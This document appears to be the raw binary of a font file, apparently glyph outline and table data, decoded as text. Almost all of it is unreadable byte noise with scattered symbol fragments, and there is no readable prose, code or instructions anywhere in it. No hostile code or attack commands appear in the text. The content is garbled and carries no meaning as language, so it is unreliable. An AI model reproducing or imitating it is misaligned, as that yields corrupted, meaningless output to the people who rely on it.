I�/`��Ӕ���?���|0#"&'7327676'&+7327676'&#"7>32�l/0���L�] \MOGwNO<:t���RYIJ�]YYN"_�P��"�A@]�ON�

..@F-,�38XZ88%���l�*�L`3#73X�ٸU-�-`���L�������`'7327673#"&^$8�Ng=9*{�{7̺G�=�<=MF�y�����,��M�`����{
37!!'7)�P�8�N�!��V}6�{�daj��k��Nj���M�`���M�`���^���{R�����{q-	1
6& 32$7! 76! m�n�����
�/�����//n/��������������Lt��%#>76& #.76! m�:J#��f��#�1x3BtN�P��ƳP�NM�]�*���U�tY	+	3267>76&#"'>3 '# 7>7'7|�2<��Oy�1=��Hr2~W�w/RA�b�X�x��/T?�a�)gA��\*g>��}66���]�C�_�56�`�?�`h���{&/=7!6'&#"7>3267632#"'&'#"'&732767276'&#"hNRS�j�l"l�j��<\ss��jj56���__-c���hh�@A��mn-ǔlmN>@���''@?Z�dc44�*,nmn67����윜78lkp��ĘZYWW���st�ts���tu8/<{
6&#"#32y'���'�6M���6/����8�������/
32673#"m'���'�6�����6/������8*�`!2>&#%!2#!#�F[u!P[�f���@��X���^�^������>��|`!.76763!##"#676#";�eT z|��ڹ\�aBBU���G>@1�wGI86w�
�i�QP���%$q��2^66�**TS++�|`.'3;3!"'&7>#"3�4T#r�j)44a�\��|�\\ ��B�w�nwSl^2��q$%��PQ�i��cQVSTT����`�����`$ 673 &73�� ���*���X�*��� }����;�����M�SLi�%!7!2676&#!7!#��Z$�������$`$�Z@%��L�||����B�t��sN�7373!7!2676&#!7!#�'�'��'�'l�Z$�������$`$�YA%��x��z�ʤ�||����D�v�����.{'#!7!2676&#!7!27676'&#!7!#�oP"���\$�������$��XYPO���$`$�[ NOE���__�ru���99w�SS��?XXyzVU����`Y����`Z����X`]%���`732>&+7%7!2 'E�Ӏ�%hnH����F�P���}��Bd�d�>����J�m��7Dk{3!!D�I!���{��/����`N*Y`#!#Yڶ�����`����I`��*�`���`367673#7&'&3m��ZHl(:�:6���.�.�Tl6:�:'?*N`�1Ms�,���}��}�,���uM�����`�����
!3#'!#��Z��ń-�X�q�`���������!!!!!7!#!��.0��A;���)����,F��"U�_�_��_��DX�I�.��
'327676'&#327676'&#%!2#!�;�g8:+*g�1�^34
('^��E�ED20Q[Rab���+��&&MO%%X�@? ]65dL.-rUp==.���
327676'&#%! )=~��ji!!KL���**������vNO��NN]���fe.�"�!!!!!!�R�-0��@;����_�_��_��!7!!7!7!7����;�@�0�-�_/_�_H���$7#7!#"'&767632&'&#"326�,�NFS^\e�fg((���\ON?;KJW�gg!!EG�Cn�]��/rs��sr'y5UV��VU.���3!3#!#�B�B���M�2M�W����r.�O�3#����U�f�3+73267��NN�1(TV��DE`Tl.���
33	##�D������N�a�z�B��m.���3!!������_.�,�33###н�`��|������{��9����=�".���	33##Ы�|����{�E�����E.���	##3��|��׫�{�)���ED�E�H���"327676'&$  '&76>�cc?A��bc?@���`_&&���ta`'&�[\��\[[\��\[\vv��vvuv��$�N�?"327676&327676'&'72#"'&76767&'&76763�sKM;;stLLt^R=<4 �jCE,<R�SM~di12pm��VUHHoh#,
[Q�)++LK,++,KLV5##,&)$%LY+8:6iGd78PyAAAAyP87'21I.*.���
327676'&#%!2+#==�Y89)(Y���EE0^]��A���))KK))]?@�@?��.�
�!#'&'&+#!2327676&#8'U�P''L�D��EC34��:�\76P\$)(G��T��D<<yO44K��&&IJJ;�i�!!#!M��������_��]���3327673 '&7Àc,+z{CAc�flk��KJ��;;;;�����TSST�|�#�333##|�=N�=N��q�9����=�=���*4��+"326?#7#"'&7676;76'&#"767632��;=
FF`�|Fs3�Um56[Z��.-_<x:D>=9�>>�E7@zd+��_9666[i66
G''`FGD��+27676&#"3>32+3267#"'&5�;=
FF`FF}Ft3�Umj[Y��.-_<x:D>>8�>?�E7@=<e+f_96lZj66
G''`
FGG��73#7#"'&763227>'&"utzt/zN�??:ac�N31�{,')�AB,()�A�_��^86Z[([Z��A@@A�A@@H��3;I#"'&?!6'&#"7>3267632+32767#"'&%326?27676'&#"^9�S�CD

56sA�DC�BjGH#;KJ[wp[Y��Z_=;<:C|9Y>=�@**V`��;<
#"FaFE�34QR�2k88a"!CC"!h^j66
GN

`�T23bX6E7  =<e"��6'&"2767632#"&'#3H,((�B@,')�A��/=>M�>?:ba�Mfu�uc�@AA@�@AA�8Z[��[Z68^g1�3#7#"'&763227>'&"^Bt�t0<=N�??:bb�Nd�{,')�AB,)(�B�S��^8Z[([Z6��@AA@�@AAF��#!32767#"'&7676326'&#"�
��56sCBACBECD�QRoo��CC�**VaCD�2j88aWW��[ZQRmT3210YB��!7!6'&#"7>32#"'&73267B

66sCABCC�C�RQoo��CC�**Va��2k87aWW��[ZRQmT23bX;��2&'&7>32&'&#";#"32767#"&7676�E�{053<:21,K11&%Ib]W37	
/._;971<673��34�$$4OX
^$'U13 
`fa<))/�y2#"'&'732676'&+7327676'&#"767632�D>QO{054;:11-Kb&%Ib]V47	
/0_:871<672�HG43�
H4O-+]4$'U 12 
`33a<))M�
16'&#"327#"'&'73276?#"'&763273K,((^]@@,)(]^@�_`�=540//03rCD
.>=N�>?8b`�N23tm�=>>=�=>>F�NO	e45k37XX"XX7_%�C3#73�tzt0t��� ��
33	##�ud���PE���<u�����2��7��*67632#6'&#"#6'&#"#367632�9CBRo./ItHJZ>@DtHKY>?Duyu2=<ML0/�E!!DE~��wZ,,56\��w[+,65\��sa9"#N�� +7327676'&#"#367632�L|r��BKN^@@Euzu4=?Jy21�zxlXV�Y,-56\��sa8BDG��
"327676/2#"'&7>�CC,)*^]CB*u�FEgh��EE��A@�@AAApoB�WW��WXXW����u67632#"'&'7327>'&#"4556�MNޠ:31--^3pKK,13p3355�
	XX���

_?@�@?'��6'&"#>3204*)�CCzΘ�FE�oBAA@q��WW�g���27673#"'&70�*)�CCzΘ�EF�oBAA@q��WW��#367632#"&$6'&"27�Au�u/=>M�>>ba�Mf�,((�B@,'(�B���b_8Z[��[Z6��@AA@�@AA?��3#;#"'&7#737:"��BHww�*+BUU"��P��MV-,vTP�c��3327673#7#"&cItIN^@BEtyt6<=Jyd�{��Y,-65\c��`9�;�b�!7!27676'&#!7!#�U�e9823g�p�l9*VW�g#"FS10gg%dAl88j��)#"&73327673327673#7#"'&-8CCRn^IuHIZ??EtHKY>@Etyt4<=LM0/E!"�z��[+,64\c��[+,66Zc��b;##c�33#c{wB{�~�������#! !&'3276776#"�6t�2)y�3�τ4}�"���#��"��^ؙ83����a��_�{�W�)3#7&+732$P:{�i.t.^<,|��|����GX3���,&#" '&76767&76!2327676'&'&�9��
�~=Lgh��EFi(3Z�E��.*C,)*^]BC.2O'r(B4?K��WXXW�r]$,O�'��(@�?AAAjp69^� 
)"27676'&'2##7"'&7676736N)K;HA)![?Die~,s,~BEgMj-,D)%GK!�Q�:5}t?3XJO��ZU��UX��R=\,Ajq@:�����'#&+73;'&�4��h@a,�4����?a,����GX]�:�D��FY��%Cg
W�d��7O�u�d��c���s��d��cs��d����o��d��W�)s��d���$ '#676762'4'&"276���4AtkH1i)�>+	q(��(�A_��o��"�O92Z>Y)/X0*A�q(a*@@_��^� x��d����t��d&�V�{(!2.#">32#"&'#32676&#"�84a�K"I�R��&L�|ο23���|�&!�#'z���'&z���F�,*��[cb�������bc�#���������.�����`7!#3#3!73#73�  �B��8� �� �8��B�������त �T���V7{)6%##733>323##"&!3021276!656'&+"'t����Z�!M�{�`?��8���{����%=��j]��f%=��jO�����̪da�k�!#�ꕢa�81fEttf>cFttV>�V�%+73276?#3M")ʴF0j/5�.�����06���
��#367632#"&$6'&"27�tzt/><N�>@:bb�Nd�,((�AB,()�@�_s^8Z[��[Z6��A@@A�A@@G��&'&#"3267#"'&7>32�-.02qJL,22q2h54l;�ML�511�`@?�?@_YY���	
MK�,3276#"67&'&7>32&'&#"632#"3#0\R@S
` M�43/.+1/2qJK3H{��3� *� &;/Z���	
`
?@ss@b�i.��/&'&#"32676'&7#"&767632''7'37 iFFV\[�&@kj���hg�P�
�\�@�
��
=<mj||jD54�PQPa�WW���WWe<83rQ>67�o2#"'&'7327676'&+732676'&#"767632�K#$[\�2445)33:_=;
	+(V]aI`(&K-53@?87/|>@Z�
))<a33`
 31U2'$^
,,O4H4�4#"3###73767634o>��kuknn	@AwU:8P��#P,i/0���F7333#+73276?rjtjnn?=r,B�P#��Px66XUN�
,7#"3276#"'&'73276?#"&76763c-�]@@((]^@@�k__�=640.003rCC
/=>N�|a`���>=pp=>>=��۠NO	e45k37���XXx�3327673##"&xJtIN^AAEt�tA6><Jyd�{��Y,-65\c��O9�&��7333##73#&r7t7gg2t2xtt�\��\��j�i�R
;#"'&7+NC,r()N�pUW66w���7!#3!73tMjVj��oV�\\�E\\���7!#3#3!737#737tMj%jjj��ooo%�\\�\�\\�\���Z3#"76;33#7#"3276�tt�ܿ�zytyry(>
rKNB��,|ss��W?#5�$
:�Z3;#"'&7K�t�C,r()���SVX66x���Z+73276?#33=?r,B!
t�t��ax66XSg��3�W3!!�j�����_N��6>32+73276767676'&#"#6'&#"#367632�9�Ro-/L=>r��B.	JZ>?EtIKY>>Euzu2==ML//�EBED~�zx66XV0�=-Z,,56\��w[,+56\��sa9"#���)#"'&73327673327673##"&C9BDRn./IuIIZ?>EtIKY>@Et�tA3<>LM^E"!EE~{��[+,55\c��[+,65[c��Q:F���� +732767367632#6'&#"�|r,B|t5=>Jz12JtI N^@@�xlXV~a8BD���wY,-56\N�!6'&#"#367632;#"'&7rN^@@Euzu4=?Jy21LB,r(*Y,-56\��sa8BD��zVX66x3�	33##���b{|��b{���~��G�� 2#"'&7676"!6'!3276˗FEgh��DFhf�B:�$�w)^]C/WW��WXXW��WWW@9\[8�E-AA.F��&.#7!#3!737&'&7676767676'&����m8EgSs��^�k6FhQqb[8.C)��[7+D,*�\\�FW��WG�\\�FW��WE[�*,ApoA-�9�*A�@+��<.#"#"/;#"'&?32676'&/&'&7>32�,f8W/0	Y'v,+WX�9=B��r(*:<;=Rb	h(g'(��@78�b/$+*MW33	VX66x"j2-***IX`�}�6676;#"+73276:C@A<zno>�|r,B�]Me30U:�JxlXV��3#;+7326?#"'&7#737Q"��B(Hw?=r,B:�*+BUU"��P��M,ax66X6V-,vTP�T��!733!33##7#"&?)3276Tn6t6g6t6uu1t6=<Jyd��N^@:�\����\�`9��Y,-6/I�&7!327676'&'7!# '&76767tM35,.Z[AC 8�<ji��IJ--V�\{':?KY7667YR8>#{\8?>L�RRQR�R<=:g��2673#"'&73VQXLuMPR��88MuL8�PZ��s{>??>{��}ZPi��3+"'&73?27676'&'&��=ij�,r()NtNA ZCA%4+�8?>L�RR66w��pU67YQ8C����##3�{v��{�����s����	!!!7!�'������\^�=R^���!!#;#"'&?!7!�'���C,r)(�>�\^�=RVX66x^�^�#67#7!7!3632#73276#E`��\'��nF���
m
,7�!!^�R^�=��jR3����"2#"'&'7327676'&+7!7!wCJ:*(mn�;==?/=<ExFG22hnF�\&� =;M|CD
m**PJ*)]R^G��!327676'&"2#"&76L�o %^]G>1%�G:�@?Rmn��~Rmm*�MWXM�mGYXFo�vw�^ww��wv�b�f!'!73��������:��f	3!�q�ɋ��x��:��f	#'!'��7���f����|�f!!#�/U�逋f������f	3#'#3�����䔬��f����x��7��f	73#'#���”��>f������x�������'��$��T�`{'��D��7N'��s%��J���R&E��>��7���&%����J���&E����7���&%�E���J���&E�+���V�u�l'�-v���^�uJf&�v��7�P'��u'��^��d�'��uG��7����'�['��^��'��G��7����'�['��^��'��G��7�u��&'z'��Z�u&Gz���7���'� '��E�'��G��7
Z&(����^���&H������7
Z&(����^���&H������7�K
�&(�67��^�K�{&H�]7��7�u
�&(����^�u�{&H����7�u
m'��u&(z���^�u�=&H'����z��7�O'�vt)�����'��uI��\���2&*�U<��B�V��&J�I��7�O'�(t+��H��'��uK��7����&+�z��H���'�K��7�N&+j>��H�N&Kj�>���^�u��&+z�����b�u�&Kz����7�9��&+����H�9�&K�6����u%�&,��u�����u/'��RL��7�Z&,��_��H&���J����7�l'��v.��H�l'�ZvN��7����&.�.��H���&N����7����&.������H���&N�h���7����&/�������/'��O��7���k'�&/�*u������J1&=q�Z;��7����&/�k����D��/'����O��7���'���&/����/'����&O��7�l'�sv0��H?f&Pv?��7�O'��t0��H?'�yP��7����&0����H��?{'�xP��7�N'�s1��H�'�Q��7����&1�v��H���{'�Q��7����&1�����H���{&Q�K���7���'��{�&1��H��{'��2�&Q��R���Z&2�\��^��&R������R���X&2����^���&R������R���Z&2�J��^���&R������R���\&2�P��^���&R������7�l'��v3�����V�f&Sv2��7�O'��t3�����V�'�_S��7�O'��t5��H�'�mU��7����&5��������{'��U��7���1'q};`�������&aq���7����&5������B���{&U���������O'��t6����'��V������&6�����{&V������/l'�Zv'�
t6����"f'v�&��VV����FW&6�D������&V���������O'��th����'��i��XhO'�rt7���b�'�uW��X��h�&7�������b�&W�p��X��h�&7�0���&��b�&��W��/�h�'���&7����b�'����&W��w����&8�c��u���`&X���v�u��&8����:�u�`&X����w�K��&8�d7��u�K�`&X�7��w���Z&8� ��u���&X������w���4&8���u����&X�u������}'��F9����7&Y�'�������&9�������`&Y�����)r&:��|����k'C�Z���)r&:��|����m'viZ���)N'j�>:����'j(Z���)N'��s:����'��Z����)�&:�.������`&Z�������O'��t;�����'��[�����N&;j�>�����&[jz���hO'�ot<����V�'��\�����m'��u=����Xf&]�U�������&=��������X`&]���������&=�[�������X`&]����H���&K�N����bM&Wj�_=����&Z�����V�&\�1��T��8'��D�����'��uA���!#'7#737>;#"7�g�5�8��$Ͻ��d-.M�7��hj��N���()g�t�i�:�!##737#73676;#"3#������(Uh���d-$��E����FV�( D�!��t�7&#"#>32"#"'732676.76$h[�@kkTG�˱a��c�	��	6ayuY( ��Ӵ�(`�ob�
<S^]Q9
�Z@h�o����ϋ\(Ž}_-C-->T�\��_�EFvX5P3) $2BgC����M��u�I��������'�$��T��`{&D��������'��u$��T��p{'�TD����)9&$����T����&D�i�������9&$����T��`�&D�i������/[&$����T����&D�b������!Y&$����T����&D�b���������m'����T��`f'������1Z&$����T����&D���������Z&$����T��v�&D����������&$����T��k)&D�z������6Y&$����T����&D�����������i'����T��'�����7��
�&(����^���{&H���7
�'��u(��^���{'��H��7
^'��u(��^���7&��H��79&(����^����&H������7
9&(����^����&H������7[&(����^����&H������7Y&(����^����&H������7��
m&�����^���f&����7��'��t,��H�{'�������%�&,��������/&L����R����&2����^���{&R���R����'�'u2��^���{'�}R��R���9&2�I��^����&R������R���9&2�M��^����&R������R���[&2�I��^����&R������R���Y&2�D��^����&R������R���m&�����^���f&����F���k'�'ub��c��Bf&vc��F���k'�'ub��c��Bf&CFc��F����'��sb��c��B{'��c��F���^'�'ub��c��B7&�6c��F���&b����c��B�&c���w����&8�U��u���`&X���w����'��u8��u���{'�}X��r���k'��uq��w���f&vr��r���k'��uq��w���f&Cr��r����&q��u��w���{&r�}��r���^'��uq��w���7&�r��r���&q�U��w����'�r���hr'�r|<����V�k&\C�����h�&<������V�`'��\���h�'�r|<����V��'�`\���h^'�ru<����V�7&��\8��	333!!Z������!����+�ժ*-33733#####73X���������������}����}��q��)a&	�pF��q��)a&	�HF��q��)f'	��F��q��)f'	��F��q��)f'	��F��q��,f'	��F��q��)m&	�vF��q��)m&	�DF�����a'	��#'�����a'	��'��ixf'	��|'����xf&	̈'���A�f'	��S'�����f'	�o'�����m'	��Q'1��dm'	�N'x��O��a&	�DJ��O��a&	�9J��O��Df&	� J��O��Bf&	�%J��O���f&	�OJ��O���f&	�RJ��k�a'	���+�����a'	�+���i�f'	��|+�����f&	̈+���k,f'	��S+"���hf'	�o+^��t�V�a'	��L��t�V�a'	��L��t�V�f'	��L��t�V�f&	�pL��t�V�f'	��L��t�V:f'	��L��t�V�m'	��L��t�V�m'	��L��k{a'	���-����xa'	�-���iyf'	��|-����f&	̈-���kf'	��S-3���1f'	�o-d���Am'	��Q-t���\m'	�N-����Ba'	��N���;a'	�N��Kf'	��'N��UYf'	�<N��i�f'	��QN��m�f'	�=N���rm'	��N���mm'	�N��k�a'	���/�����a'	�/���i�f'	��|/�����f&	̈/���kYf'	��S/4����f'	�o/p����m'	��Q/�����m'	�N/���^���a&	�xT��^���a&	�nT��^���f&	�eT��^���f&	�TT��^���f'	��T��^��f'	��T��k��a'	���5#�����wa'	�5}��i��pf'	��|5v�����zf&	̈5���k��0f'	��S56�����qf'	�o5w��xCa&	�=Z��xCa&	�Z��xKf&	�'Z��xCf&	�!Z��x�f&	�`Z��x�f&	�WZ��x�m&	�8Z��xum&	�Z����a'	�:b����f&	̈:����f'	�o:6����m'	�N:L�����+a'	�^^�����+a'	�T^�����+f'	�Y^�����+f'	�^^�����+f'	��^�����+f'	��^�����+m'	�c^�����+m'	�^^��	a'	���>N��]ja'	�>���ibf'	��|>����nf&	̈>���k<f'	��S>t���rf'	�o>����
m'	��Q>B���Im'	�N>���q��)f&	�tF��q��)fA��O��f&	�TJ��O��}fB��t�V�f'	��L��t�V�fC��hf'	��N���sfD��^���f&	�{T��^���fa��xCf&	�0Z��xOfb�����+f'	�M^�����+fc��q�V)a&H	��q�V)a&H	��q�V)f&H	��q�V)f&H	��q�V)f&H	��q�V,f&H	��q�V)m&H	��q�V)m&H		�����V�a'	��	
�����V�a'	��	��i�Vxf'	�F	����Vxf'	�F	
��A�V�f'	�h	����V�f'	��	����Vm'	��	���Vdm'	�2	��O�V�a'�8	��O�V�a'�8	��O�V�f'�8	 ��O�V�f'�8	!��O�V�f'�8	"��O�V:f'�8	#��O�V�m'�8	$��O�V�m'�8	%��k�V{a'	��	&����Vxa'	��	'��i�Vyf'	��	(����Vf'	��	)��k�Vf'	�#	*����V1f'	�T	+���VAm'	�d	,���V\m'	�	-����V+a'Y	V����V+a'Y	W����V+f'Y	X����V+f'Y	Y����V+f'Y	Z����V+f'Y	[����V+m'Y	\����V+m'Y	]��	�Va'	�\	^��]�Vja'	��	_��i�Vbf'	��	`����Vnf'	��	a��k�V<f'	��	b����Vrf'	��	c���V
m'	�P	d���VIm'	��	e��q��)H&�zF��q��)�&qyF��q�V)f&H	f��q�V)y&HF��q�V)f&HA��q��)7&	�nF��q�V)7&H	������m'��u'�����1'q�;'����.f'	�R'B�����f�����V��'	��'����-a	����V���-a#77#734������g����P7���yF]m'�F�j��O�V�f'�8	j��O�V�{'�8L��O�V�f'�8C��t�V�7'	��L��O�V�7'�8	����lf'	�R+b��xf ���;f'	�R-n����f!��7�V��'	��-����$f'	�		�����of&	�B	��.����]m'�F�	����2H'��$N�����'q�N��� �'	�.N�����&��~I7'	��.N����m'	��0N��7&m'�.u/��7 1'q�0;/����f'	�R/q��~Ef"���f'	�	���0��f&	�_	�����]m'�F�	���xCH&�'Z��xC�&q$Z��xC�&	�Z��x��E��!�V�a'	��V��!�V�a'	��V��xC7&	�'Z��xwm&	�Z���hm'�vu:���h1'q�;:���Hf'	�R:���rZf$���wa'	�7���yF��'	�1lj��yFl�����fC����V+f'Y	r����V+`'Y^����V+f'Yc�����+7'	�O^����V+7'Y	�����5f'	�R5;�����Yf#���f'	�R>D��l�f%�����V��'	�>���-fv!�0a73#7""����͔��g\���?@	c��991��0K�TX�@��878Y@
__oo]!!}������\���	�V��y@o���991��0!!rO��y�V��y@o���991��0!!r8��y�V��y@
o��991��0!!r8��y����y@
o��991��0!!�y�����&__J������&BBB���T@:bF���91��0KSX��9Y"@**99IIYY]#73��#၏�?�����V@:bF���1��0KSX��9Y"�]@%%66FFVV]3#��!ゐլ��@���4@:bH���1��0KSX��9Y"73#��#ၐ����@R�K�#7J"�b$լ��@��+��@1
	:b	F
������991�<�20KSX��9��9Y"@1


	

	
***	*
:::	:
III	I
YYY	Y
]#73#73��#၏w�#၏�?����?���3��@.
	:	bF

������91�<�20KSX��9��9Y"�
]@1	
	
%%%	%
666	6
FFF	F
UUU	U
]3#%3#��#႐��#၏լ��@����@�%�]@.
	:	bH

������91�<�20KSX��9��9Y"73#%3#��#ၐ��#၏����@����@��K�#7!#7�"�f"m"�f"խ��?����?�V�;�Y@.:L
F�	
���99991���<�20KSX����Y"3!!#!7!5�Po��ٰ��p�\���]���;��@I
:LL
�F


	��.�999991���2�<�2�20KSX������Y"%!#!7!!7!3!!!j��R�R��nk��oR�Rp��jn�\�����\���3��!��	.��1��04632#"&3�~|��}}��|��|}��3��q3������73#��1���3�73#%3#��1���1�������v@:
	:H

	�������999991/<<�220KSX������Y"73#%3#%3#��1���1���1�������k�i3#��1�i����
�#/;GKd@83W-WR'W9WBRI<QHVLHE0J*6
?
		
$
!0
?	E*
!	L�����������991�2�<<�2�2���20"&54324&#"326"&54324&#"3264&#"326"&5432#s��织��HMMo~PKk��n��躈��HNMp~QKk�\LMoQKk����纈��.����������kjí]d����������ij­\d���kjí]d��ò������
��
	���
F�#/;GS_c"&54324&#"326"&54324&#"326"&54324&#"3264&#"326"&5432#���漆��HLNn~PJl��͉�织��HMMo~PKk��n��躈��HNMp~QKk�\LMoQKk����纈��.����������kjí]d��ò�������kjí]d����������ij­\d���kjí]d��ò������
��
`��3���`u����`��'
,
��`�'
X&

,�`��#3�W��`u���`�'
 ,
 ���`@�'
 ,'
 X
 ����#'#�����R������#@
�l��91��907�%���%�}#���R��#@
�l��91��90?7'd�#�����^R�����&�'s�'Y�'YA����'�^O��$#7>323#7>76'&��!"an%i�g��bki81

��2��T6CF	6��
#C�98ŸL�VV/5<4��B�R-5^1Y7����|B_����� $7#"$'5O����:��<��hh~vvuw~i���n2&$ 56$6����;�2�>���nvv~hhgi~wu���I�3	##�b��b��c�$�$��v��=����'
�{'
�{
���I_!!�V,��_����m�_@:QV���1��0KSX��Y"�]@)	%86EYViexuu������]3#���/���Q��]3!!#3����Xb���^�#�"��#J�����73#7!!73\������X�^Jݏ�ޏ���~�&"�"f�����&"J����'�^"��]
327#%��!����v]��(�n�;�###!WuE"=���2��΋K�ՌSkKW���������!3+"&54767���w|�WU|!���}|VT��!#;#z��w|UW�|�PTV|}���=���k
�{�L#	%#73#73��g�g�/�R��?�'�������n&
+
*��=���'
��
����B��'�'�%Hd��1#"'&'&'&#"5>32326��撔�
錄ܔ�撰�錂�1�OD;>MS�OE<>L�����
�/�/�
+�
01&$#"56$32��>��;�������ighh~vvuwH��
#'%!7!'73%!!�E�D��[*��aʇ�D�D*[��a��ɇ)��`�r���r�b���q���r2/�737373&�&�&�&@'�'�����������`H�'
X'
�&

,t��73!737373t&�&X&�&�Z'�'-'�'�����p�� ��<���7373737373'�'z'�'-'�'��'�'E'�'���p�� �������i^�3#3#��1��1���'�j��5�3#%3#3#3#��2���2�~�1���1�i��������s�%73737373#!7!3!D'�'-'�'��'�'E'�'3����f�������� ���������f����e�yPA>3#3#3#n�1ӓ�1ӓ�1�>�����lLw3#3#3#3#��1���1Ӫ�2���1�������W���
"27676/2#"&7>K�CC""#!�CC""#u�))ա�))��VV��VVVV��V���������%�C3#3#�tzt�tt��g�T��
�@*A	A	
A		:�	�V
		���99991��<�290KSX���Y"K�
TK�T[K�T[K�
T[K�T[K�T[K�T[X�@��878Y@)+/--//
6Fy�]K�TK�T[K�T[K�T[X����878Y	!33##7!7Z�w7R�j��%�%�`b�a��m������ !!67632#"&'732>&#"���y(�OOoo�<z?4;<Eo�"oo4l:�_�	ML��KJq
f�f\��/"327676'&&'&#"67632#"&767632�X==))XW==))�-001�SS'/>?D�FEgf���)'���110m45[Z4554Z[54bg
KL�1LM�ON���uv	��'�!#!�i	���3�0���5��*:"327>'%&'&7> #"'&76767327676'&#"��>=Y]\?=-��Q$&�GF79VV-*bb��II@AS(&UQ97((SS76*,+KLV,+�+]12Hdt::dJ01:7PyAAAAyN98�?&%%$A?&%%$C���.732767#"&767632#"'&2676'&#"C-000�SQ(,A>E��fg��BB)'���110Xz))XU?>*)�g
KK�/���MNoo��uv	rh\Z4554Z\44���k!!#!5!Q_��i��_k��_��8_8���3!!�'��3_�a��!!!!�'��'���^�_q�
#&'&6767�m�2!;eE0HFy���������~��3#676'&�eE1FHyemBC2�~����~~6��#6&#"#3>32�ItI=N^�Etzt5|Izc��wYYk\��sa88���W���T
V�d����C{�d��JTt�d��!���Tu�d��TC
X�d�����C
Y�d��\��T
Z�d���'C
[�d��5��T
\�d��C���T
]�d�����
^�d���8��
_�d�����	
`�d��q�i�f
a�d���i�f
b�d��4������d��F������d��G������d��8Qs��d��B������d�� �gr�d�� �g��d�� >g��d��7����d��6��
c�d������d��=����d��?%��dv��##"32.#"3267!!!!!!�Y�c��ia�e�C>�b��V��b�Zf���A��N:�/�667756�GF�D�FG
�����k�V��9,6<073&'3267#"'#7&'#7&'&476$;73&'�*'3�L""%37�}�n+k�n%"�'1*9�Y
	�ohn�!��cvT79:�/1��(1�
r��9(��YY�34@W}�

��X���I�
FR�l�z�d	�V���2%6767# 476$32.#"3>32.#"�RNun+l�o����pho�u�Z%X�r��U79`M���<�_0;!x��
,Y�348�X���GG�a^��l�z�kVe�X]�ɨAA�!!!!3###7�X!�qVP!��;��3�3��=��H��ϔ���1�#!!73#737#737$32.#"!!!MG!�3!�G����	4�F�E#=�@��)��~�����m���.��(*�����M�B4,#6'&#"#3676323632#6&#"#:�&*w�ef {�ڹ"RcayzI/Ī�fx��+��� Tu�ef {�8�x�GM_a���`�f21>&>E�3��\���__������"&)''#!333#3#!###737#73377�((�%i�k�k����k��i�k�k������((����4��&��{�{��&��&{�{{������7��	��?X32654&#!##!233!632.#"#"'&'#"&5467);732654/.54l���}q�"m���u�#���t>�=p	~�[�T#I�V���;�{���Yb'+���w��wMU+e�Z���?��/�ϰ�it���^���վ�>��/J�((cUc53pa��
��7!`��".
@:M46tY`;%y^�:��<�E326&##.+#! 32676&/.76$32.#"#"'&g���3{���u-xx�z�"��*��=_%8X[^a��V�=�{�f�F"F�Z��S�<�����Z]+/������b����؍�$�~�3YQKP%$�����((TT@I!*����X8�"&)-1'#73'3!73!733#3#####7	!7	3'!!7�]:�
V�
V�W9]4z��q�,�v�2��$&���4��$&4}�L�4u������u����������g�uu���g�uuuu�����
%2#6&#!#)"33!3/���CV�P7h����ñe���DU�O7h�H9������V���*$o����N��^���&��k������+�@>�
ZetZ)%�
#	)VQ,,%$# 
	&$,������9999999991���<�2�2������20@oo
ooooooo o!
].#"!!!!3267#"#73>7#7332�!S�`��G5��7�w	��m�f'^�a��
�7��8�a@�g�b�e^�{2f7{��V`�34${7g1{G&u�33!!###7�|�{����X!��댽��T���w�s��1�s���!7!!%%#'%7'FP��!�!��5:��;��q�V��8^��8������o؈�o����nو�n`�9	l�3l��'67>32#"'&'"32676767654'&'&67'>7632#"'.'&/#"'&547>32	32676767654'&'&&#"32�.@RA�aJp
CE\gW78*YWE	>$C��Y0$(�+|J���IB73Z2vGOPeK>,1Y8

_\u?2�iI���1"#H/45l�O<4-
+f�m!/& -�9)ЗiRm:37N/6wdg7? 2�j7#=6$ 629&%�(2M
!:5S}$@{mb�3JMq��~Es/4	
-&

"TA3E]����|@8�nR�kc>;%#aC���"����1A'632327&54767632#72767654'#"'&#"%67654'&#"�x�p{1C"0D�
"ak�tO-,�w&��� �iUR�mq6$53ZY"	24."`�NkB��04�X``7a0<㫃�%&†q�J<�
Na~hF�l�*!#??0W!}7=�)0!3276%!6=7#73!23#3#!###7%!&'&#!��!��\%�*�ut8��kQu[[]&]���u˶kX�?q����X#�Y%+	YYZ _HyZ.+ZvQ����Z�%:B�[
x&1#7&'&54776?3&'&'6767#7!'G��iSGЩ��hZiQ*MaYk�NCK@Nx "|s�ovi�d�;/:�����n�nͦ��$F�_0,�?'���S*%�� l���d�Yl�~�7!3!!3##!##7373!/3F0�P0����P�E������q�k���+R{��{�{����{���{AN����66767!7!67676&#"7>323!!!3267# &767#7NX��4�D��_�~'y�i��&%���y�E��S<��r��(��j��*��J,{	+kv�67�&&��UB{\*
{;^~�FE�/0��K?{����!,&'&#2767#&'&776?3�)GLKf�f]]o)gc_\4d5�]�=?���,e+\RV���_P�0-
W6��i--��--i�H$"��u�9B�t��"#���Bu��f�lCL��!!!!#!��!��!������ժx���	r@�(7!!!##&'&+73767!7!&'&#�OO��=5O�MT�=/-(~�u.:<x� ��WP��O�!9�Z{{Jw{~U]$HD��h�01�D=s{C4X����!#'%7'%3%%2�K�"���i��9^��6^^�B;��:��e�V:�~���n؉�n���oو�o��.���!2+!!##737#7;2676&+���++���!* ��4�4� �!� ����}������⦦�������������	3!��~����d�$��!7!'3#�G�f~d��=z��!#'73!?�f~��~����͛�3z��7!'3#7�3�f~��~�d��͛�F3#%3#%3#S�'��)���'�������ZF�3#%3#%3#%3#�'���)���)���'���������=z��
!#'73!'3#��f~��~�<f~��~��͛���#��� +/O#74#"&546;7>54&#"7>32#"32673#.#"3267#"&5467>32Oa��fw��׫]Y@�u"\�I���m��E?e����^&Pg7=m%=Ddh5yq$J�E��`_C�j=zA�9P�n��
:?!6�#��DpQU;>����d�:"+'>�[jb 8�����[?B#���#DOS '&#" '73276&/.?6#74#"&546;7>54&#"7>32#"32673#�Im"f��5g-�l��$�t�	4z.�`�Pa��fw��׫]Y@�u"\�I���m��E?e����m2�:k'/
"{o|�:�Nm/1 ujt^�9P�n��
:?!6�#��DpQU;>����s��'�!.#"3267# !2'Y藣yy���Yj���z�S��#��bvAZ4�-4ZBuHH�gh�G�[!������!������'&Fr�,�+��,/�-/�ܸܸ,�(и(/��A&6FVfv������
]A��]��	и�и�и�#��
